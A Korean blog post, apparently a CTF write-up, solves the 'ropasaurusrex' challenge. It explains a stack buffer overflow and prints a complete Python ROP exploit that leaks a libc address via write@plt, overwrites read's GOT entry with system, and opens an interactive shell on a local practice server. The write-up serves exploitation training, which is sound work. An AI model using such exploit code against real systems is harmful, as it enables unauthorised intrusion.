ropasaurusrex

(환경 : Ubuntu 16.04,  libc.so.6)




문제를 풀기 위해 xinetd를 사용하여 환경 세팅을 해주었다.







세팅을 완료한 후 원격으로 문제에 접속을 하였다.

특정한 값을 입력받으면 WIN을 돌려보내주는 프로그램인 것 같다.





해당 문제에는 NX(No Excutable) 보호기법이 적용되어있었다.





IDA를 통해 바이너리를 살펴보니  sub_80483F4() 라는 함수가 존재하였고, return을 통해 write()를 반환하고 있었다.





sub_80483F4() 함수를 살펴보았다. 



이곳에 취약점이 존재하는 것을 알 수 있다.

buf의 최대 크키가 136(88h)인데 read 함수를 통해 받는 값 크기는 256이다. 따라서 bof가 일어나게 된다.


A를 136개 입력했을 때는 'WIN'이 떴으나, 140개부터는 뜨지 않는 것을 통해 알 수 있다.






ROP를 통해 이 문제를 풀 수 있다.


1. system의 인자값("bin/sh")를 쓰기 가능한 메모리 영역(.dynamic, .data , .bss 등)에 복사

2. write@plt를 사용하여 read함수의 got를 구한다.

3. read함수의 got와 offset값을 이용해 system의 주소를 구한다.

4. read_got 값을 system 주소로 덮어버린다.

5. system 함수 호출



[ Exploit Code ]


from socket import *

from struct import *

from time import *

 

p = lambda x : pack("<I", x)

up = lambda x : unpack("<I", x)[0]

 

ip = '127.0.0.1'

port = 6666

 

s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))

 

read_plt = 0x804832c

read_got = 0x804961c

write_plt = 0x804830c

offset = 0x99b00 # libc.so.6 read - system

binsh_addr = 0x8049530

pppr = 0x80484b6

 

cmd = "/bin/sh\x00"

 

payload = ''

payload += "A"*140 # buf 136 + sfp

 

# binsh_addr

payload += p(read_plt)

payload += p(pppr)

payload += p(0)

payload += p(binsh_addr)

payload += p(len(cmd))

 

# libc

payload += p(write_plt)

payload += p(pppr)

payload += p(1)

payload += p(read_got)

payload += p(4)

 

# read -> system

payload += p(read_plt)

payload += p(pppr)

payload += p(0)

payload += p(read_got)

payload += p(4)

 

#system

payload += p(read_plt)

payload += "AAAA"

payload += p(binsh_addr)

 

print "[*] send payload..."

s.send(payload + "\n")

s.send(cmd)

 

libc_offset = up(s.recv(4))

system_addr = libc_offset - offset

 

sleep(1)

s.send(p(system_addr))

 

# Get shell

while 1:

    input_string = raw_input('$ ')

    s.send(input_string + "\n")

    if input_string == 'exit':

       s.close()

       break

    print s.recv(1024)

 

'CTF > etc.' 카테고리의 다른 글

[Plaid CTF 2015] EBP  (0) 2018.04.19
[TJCTF 2016] oneshot  (0) 2018.02.13
[Defcon 26 quals 2016] feedme  (0) 2017.11.19
[QIWI CTF 2016] PWN 200_3  (0) 2016.12.06
[Defcon 25 quals 2015] r0pbaby  (0) 2016.11.10



컴파일 옵션

-fno-stack-protector : STACK GUARD 해제

-fno-builtin : 표준 라이브러리와 링크되지 않고 단독으로 링크

-mpreferred-stack-boundary=2 : 더미 없애기

-z execstack : 스택에 실행 권한 부여



+ Recent posts